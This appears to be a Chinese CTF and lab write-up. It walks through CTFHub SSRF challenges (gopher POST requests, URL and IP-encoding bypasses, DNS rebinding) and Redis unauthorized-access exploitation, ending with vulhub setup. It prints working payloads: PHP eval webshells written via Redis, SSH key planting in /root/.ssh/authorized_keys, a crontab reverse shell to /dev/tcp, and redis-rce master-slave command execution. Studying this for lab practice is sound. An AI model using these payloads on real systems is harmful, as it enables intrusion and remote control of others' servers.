?url=127.0.0.1:8727

设置增量为1,范围是8000到9000,如果觉得爆破太慢,可以在选项里调线程数,根据长度找到我们要找的端口,在浏览器进行访问就得到了flag

ctfhub ssrf的POST请求

302跳转的302是状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

题目页面空白,尝试访问127.0.0.1/flag.php

有一个搜索框,f12查看源码发现:

发现了key,将其中的值放到输入框,按下回车

显示只能从127.0.0.1访问,用file://伪协议访问一下index.php和flag.php,在f12里发现源码

index.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);-->

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?-->

一个比较好的思路:目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。

我们需要构造:?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=e297679320b3831c12537c0a981d5055

注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

可以直接使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e297679320b3831c12537c0a981d5055
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码

将跑出来的值在index.php下提交给url即可(因为index.php源码里说到可以url传参)

ctfhub ssrf的上传文件

题目提示:

1
这次需要上传一个文件到flag.php

所以用file://伪协议访问flag.php

看一下题目源码:

1
2
3
4
5
6
7
8
9
10
<!--?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] -->

提示我们只允许从内网访问,否则会被拦截,同时我们发现前端并没有提交按钮,所以需要在前端代码中添加以下代码:

1
<input type="submit" name="submit">

这样就搞定了

随便上传一个文件,得到如下图:

只允许从本地访问,抓包

1
2
我们把host那里改成127.0.0.1:80
,然后复制,然后就是老操作了,url编码一次,把%0A换成%0D%0A,然后再url编码两次:

然后进行gopher协议的使用,就可以成功得到flag:

ctfhub ssrf的URLbypass

这里就烁一下关于ssrf的绕过方式

1.攻击本地

1
2
http://127.0.0.1:80
http://localhost:22

2.利用[::]

http://[::]:80/ =>http://127.0.0.1

不加端口的话是http://[::]/

3.利用@

这里就是在指定的网址后加@+127.0.0.1

4.利用短域名

http://dwz.cn/11SMa >>> http://127.0.0.1

下面两个都是直接访问本地127.0.0.1/flag.php

http://surl-2.cn/0nPI

http://dwz-1.ink/0ndbh

5.利用特殊域名

原理是DNS解析

http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/

6.利用DNS解析

在域名上设置A记录,指向127.0.0.1

7.利用上传

修改”type=file”为”type=url”

比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

8.利用句号

127。0。0。1=>127.0.0.1

9.进行进制转换

可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

10.利用特殊地址

http://0/

11.利用协议

Dict://

dict://@:/d:

ssrf.php?url=dict://attacker:11111/

SFTP://

ssrf.php?url=sftp://example.com:11111/

TFTP://

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

题目

题目有一个提示说是:

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

直接构造payload:

1
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

直接就得到了flag。

ctfhub ssrf的数字IP Bypass

题目给了hint

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

告诉我们不能用十进制了

![](ctfhubssrf/ctfhubssrf的数字IP bypasss接替截图.png)

因为不能用十进制,所以我们试一下十六进制可不可以,127.0.0.1转换为十六进制是0x7F000001,访问就拿到了flag。

ctfhub ssrf的302by pass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

还是先试一下127.0.0.1/flag.php,访问一下,返回如下:

![](ctfhubssrf/ctfhubssrf的302 bypass解题截图.png)

接下来就是试一试URL bypass提到的绕过方式吗,发现直接替换成localhost就成功了

1
?url=localhost/flag.php

ctfhub ssrf的DNS重绑定

进来就先试

1
?url=127.0.0.1/flag.php

使用题目所给链接。到DNS重绑定的一个工具里

将那个7f000001.7f000002.rbndr.us替换127.0.0.1构造payload

1
?url=7f000001.7f000002.rbndr.us/flag.php

成功了

redis未授权

什么是redis

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

  • 基于内存运行,性能高效
  • 支持分布式,理论上可以无限扩展
  • key-value存储系统
  • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

相比于其他数据库类型,Redis具备的特点是:

  • C/S通讯模型
  • 单进程单线程模型
  • 丰富的数据类型
  • 操作具有原子性
  • 持久化
  • 高并发读写
  • 支持lua脚本

简单来讲,redis其实就是一个非关系型数据库

redis未授权漏洞原理

Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。写入文件操作就例如在日志文件里将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

redis漏洞复现

这里用的一台windows和一台kali,一台作为攻击机,一台作为靶机

kali安装redis

执行如下步骤

1
2
3
4
5
6
7
8
9
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务

如果在执行上诉步骤中遇到相关问题,可以直接把错误回应扔给chatgpt,chatgpt会给出相应解决方法

windows安装redis

1.Releases · microsoftarchive/redis (github.com)

安装好后解压到对应目录

2.双击安装目录下的”redis-server.exe”文件,并保持窗口开启(若关闭窗口则服务关闭)。

3.待开启后,就可以实现监听了(一定要在该目录上方输入cmd才行,不要直接右键点击空白处进入终端)

1
redis-cli.exe -h 靶机IP

到这里的环境就安装完毕了

利用redis写webshell

利用前提:

1
2
3
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)

开始复现:

执行如下步骤:

1
2
3
4
5
6
config get dir #查看redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

中间有一步是修改路径。后来发现可以不要,接下来去靶机看看是否写入成功

可以看到已经写入成功了。到这里但是发现怎么都连接不上,所以就尝试着修改路径:

1
config set dir /var/www/html

接下来的操作和之前的一样,先进行phpinfo()的测试

1
2
3
config set dbfilename test.php
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

接下来在攻击机上进行连接验证(注意一定要在kali linux上开启web服务,例如apache,negix等等,相关下载命令可以问cgatgpt,如果未下载,也可通过php -S 0.0.0.0:8080来实现)

可见测试连接成功了。

写入shell文件:

1
2
3
config set dbfilename muma.php
set xxx "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save

尝试连接:

利用redis进行ssh密钥连接

ssh密钥连接:

大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:

1、客户端生成RSA公钥和私钥

2、客户端将自己的公钥存放到服务器

3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端

4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

利用前提:

1
2
3
4
5
1.当redis以root身份运行。

2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。

开始复现:

首先要有自己的ssh配套的公钥和私钥

windows下使用git来生成自己的ssh公钥与私钥,在桌面点击右键选择git bash here,执行如下命令:

1
ssh-keygen -t rsa

在用户名文件夹下的.ssh文件夹里

生成密钥之后我们可以将公钥id_rsa.pub里面内容复制粘贴到key.txt文件中,再上传到靶机上面,使用如下命令:

1
2
3
4
5
6
7
8
type key.txt | redis-cli.exe -h 192.168.10.129 -x set xxx#如果是linux 将type换成cat
#将公钥作为value插入到数据库中,key随便啥值。
redis-cli.exe -h 192.168.10.129 config set dir /root/.ssh
#修改redis数据库路径
redis-cli.exe -h 192.168.10.129 config set dbfilename authorized_keys
#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.10.129 save
#保存

通过命令cd ~/.ssh来进入.ssh文件夹下(一定要先成为超级用户,否则会进入失败)

可以看到已经上传成功了,接下来在攻击机上的.ssh文件夹的终端下执行如下命令:

1
2
ssh -i id_rsa root@192.168.10.129
#连接

在这里输入你自己生成的私钥即可

注意:

1.如果你是linux系统使用cat,是windows系统使用type.

2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。

3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。

4.文件名必须是authorized_keys,由配置文件决定的。

利用crontab反弹shell

什么是crontab

crontab 是一个在类 Unix 系统中定时执行任务的命令,它允许用户在指定的时间点或时间间隔内运行命令或脚本。通常情况下,crontab 命令用于自动化重复性任务,如备份、数据同步、清理日志等。

用户可以通过 crontab 命令编辑和管理 crontab 文件,其中包含了需要定时执行的任务的详细信息,如执行命令、执行时间、执行频率等等。crontab 文件通常存储在 /var/spool/cron/crontabs目录下,每个用户都有一个对应的 crontab 文件。

crontab 命令有很多选项和语法规则,它可以帮助用户创建和管理自己的 crontab 文件。例如,您可以使用 crontab -e命令来编辑您的 crontab 文件,使用 crontab -l命令来列出当前用户的 crontab 文件中的所有任务,使用 crontab -r 命令来删除当前用户的 crontab 文件。还可以使用 man crontab命令来查看 crontab 的详细说明和使用说明。

总之,crontab 是一个非常强大和常用的类 Unix 系统工具,它能够帮助用户自动化重复性任务,提高工作效率和系统稳定性。

windows下下载ncat命令

这是下载ncat(也就是linux下nc)命令的网址

下载好之后将文件路径添加到PATH路径下面,以便可以在任何路径下使用,配置好后假设监听8888端口:

1
nc -lvp 8888

出现如下页面就表示监听成功:

1
2
3
4
5
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/在windows下使用ipconfig查到的域名/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save

![](redis/kali 检测是否上传反弹文件成功.png)

问题解决

可能我们上面的工作都做好了之后会发现依旧没有给我们弹shell

第一个:首先你要看一下你的cron启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言cron都是自启动的。所以一般来说不会是这个出问题。

1
2
3
4
service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态

上面的命令不是一定的,有的环境下crond服务叫cron,可以用以下命令检测自己的cron服务叫什么名字

1
systemctl list-unit-files | grep cron

第二个:我发现我的cron启动了但是依然无法反弹shell,去找了资料知道利用redis未授权访问写的任务计划文件都有乱码,这是乱码来自redis的缓存数据,这个问题无法解决的。centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。我们手动删除乱码发现反弹仍然失败,查看资料发现我们还需要关注以下问题。

第三个:root文件的权限必须为600也就是说是rw———–,执行如下命令进行排查和更改

1
2
ls -l
chmod 600 root

第四个:我们反弹shell的/bin/sh是bash,而我的靶机的bin/sh是dash ,所以运行出错。我们需要通过以下命令查看和修改。

1
2
ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash

主从复制

了解什么是主从复制

edis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。这个大家自己找一些资料了解一下。

主从复制反弹shell

如果要是的利用成功需要先下载攻击代码,步骤已经给到大家。不过linux来git clone可能会失败,所以这里的步骤是在windows上下载好之后直接将文件拖进linux,这里还有注意如果利用redis主从复制redis版本要是4.x或者5.x

靶机:kali 192.168.10.129

攻击机 windows 192.168.10.1

1
2
3
4
5
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
#下载RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce
#下载redis-rce

就会在相应文件夹下生成两个文件夹

将这两个文件夹拖入linux下,并进入RedisModules-ExecuteCommand目录,执行如下命令:

1
make

编译之后执行如下名令:

1
mv module.so /home/yyb167111/桌面/redis-rce  #就是redis-rce所在路径

执行之后,就将redis-rce拖入windows下,也就是复制,然后进入到redis-rce文件夹目录下,执行cmd进入终端,然后执行如下命令:

1
python redis-rce.py -r 192.168.10.129 -L 192.168.10.1 -f module.so

可以看到一些参数,-r指的是靶机IP -L指的是攻击机IP,如果没有指定端口就会使用默认端口。

运行以下命令,会让你选择,可以输入i,r,e分别对应交互式shell,反弹shell和退出吧。

如果反弹shell就需要监听端口

注意:如果redis需要密码,可以加-a参数。

vulhub靶场搭建及使用

1.进行系统更新

1
2
3
4
sudo su			             进入超级用户
apt-get update 更新系统,防止后面安装时报错
apt-get upgrade 更新软件包
apt-get dist-upgrade 更新系统版本。如果你对新版本软件的需求不是那么迫切,可以不执行

这几步几乎每次都会用,很常见,就不放图片了

2.安装https协议及AC证书

1
apt-get install -y apt-transport-https ca-certificates

3.下载安装docker

1
apt install docker.io

4.查看docker安装是否成功

Docker自带一个hello-world环境,我们可以启动这个环境,测试docker功能是否正常

1
docker run hello-world 

5.查看docker的各项基本信息

1
2
3
4
5
6
7
8
#查看Docker版本
docker -v
#启动docker环境
systemctl start docker
#显示所有的容器,包括未运行的容器
docker ps -a
#显示运行的容器
docker ps

6.安装pip-3

1
apt-get install python3-pip 

7.安装Docker-Compose

1
pip3 install docker-compose

6和7两步因为已经安装好了,图片没什么参考价值,输入安装命令后直接进行安装即可

8.查看docker-compose版本

1
docker-compose -v

9.安装vulhub靶场

注意:是进入的~目录下面,进入之后进行如下命令执行(这里只是本人将其放在该目录下面,也可自行选择)

1
git clone https://gitee.com/puier/vulhub.git

10.随便进入一个靶场目录

1
cd /root/vulhub/weblogic/CVE-2017-10271

注意:这里如果前面所下载的目录不是用户目录,就自行更改路径

也可进入root/vulhub/weblogic之后执行如下命令进入靶场(以CVE-2017-10271为例):

1
cd CVE-2017-10271

11.对靶场进行编译

1
docker-compose build

12.运行此靶场

1
docker-compose up -d

13.查看启动环境

1
docker-compose ps -a

就表示是在虚拟机域名下的7001端口(虚拟机域名直接ifconfig即可)

14.通过浏览器进行访问

注意:本题页面就是404,并不是无法访问的意思

15.关闭此靶场环境

1
docker-compose down

总结

后续再想打开靶场,只需要重复10-14步即可

0%